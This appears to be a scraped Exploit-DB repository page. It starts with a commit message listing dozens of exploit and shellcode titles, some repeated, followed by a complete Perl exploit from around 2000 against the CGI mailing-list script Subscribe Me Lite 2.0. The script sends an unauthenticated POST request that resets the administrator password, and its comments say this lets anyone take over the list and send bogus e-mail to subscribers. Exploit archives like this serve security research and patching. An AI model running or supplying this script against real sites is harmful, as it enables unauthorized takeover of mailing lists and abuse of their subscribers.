880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
63 lines
No EOL
2 KiB
Perl
Executable file
63 lines
No EOL
2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/1607/info
|
|
|
|
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.
|
|
|
|
#!/usr/bin/perl -w
|
|
|
|
## Subscribe Me Lite 2.0 exploit / www.cgiscriptcenter.com
|
|
## This exploits changes the administrator password and
|
|
## let's anyone take over the mailing list. You can send
|
|
## bogus e-mail to everyone on the list.
|
|
##
|
|
## May work on earlier versions, but not sure - not sure
|
|
## if it will work on the Professional version either.
|
|
##
|
|
## teleh0r@doglover.com / anno 2000
|
|
## httpd://teleh0r.cjb.net
|
|
|
|
use strict;
|
|
use Socket;
|
|
|
|
if (@ARGV < 2) {
|
|
print("Usage: $0 <target> <newpass>\n");
|
|
exit(1);
|
|
}
|
|
|
|
my($target,$newpass,$crypt,$length,$command,
|
|
$agent,$sploit,$iaddr,$paddr,$proto);
|
|
|
|
($target,$newpass) = @ARGV;
|
|
|
|
$crypt = crypt($newpass, 'aa');
|
|
$length = 34 + length($newpass);
|
|
|
|
print("\nRemote host: $target\n");
|
|
print("CGI-script: /cgi-bin/subscribe.pl\n");
|
|
print("New password: $newpass / $crypt\n\n");
|
|
|
|
$command = "pwd=$newpass&pwd2=$newpass&setpwd=++Set+Password++";
|
|
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";
|
|
|
|
$sploit=
|
|
"POST /cgi-bin/subscribe.pl HTTP/1.0
|
|
Connection: close
|
|
User-Agent: $agent
|
|
Host: $target
|
|
Content-type: application/x-www-form-urlencoded
|
|
Content-length: $length
|
|
|
|
$command";
|
|
|
|
$iaddr = inet_aton($target) || die("Error: $!\n");
|
|
$paddr = sockaddr_in(80, $iaddr) || die("Error: $!\n");
|
|
$proto = getprotobyname('tcp') || die("Error: $!\n");
|
|
|
|
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
|
|
connect(SOCKET, $paddr) || die("Error: $!\n");
|
|
send(SOCKET,"$sploit\015\012", 0) || die("Error: $!\n");
|
|
close(SOCKET);
|
|
|
|
sleep(2);
|
|
print("Check out: http://$target/cgi-bin/subscribe.pl\n");
|
|
|
|
exit(0); |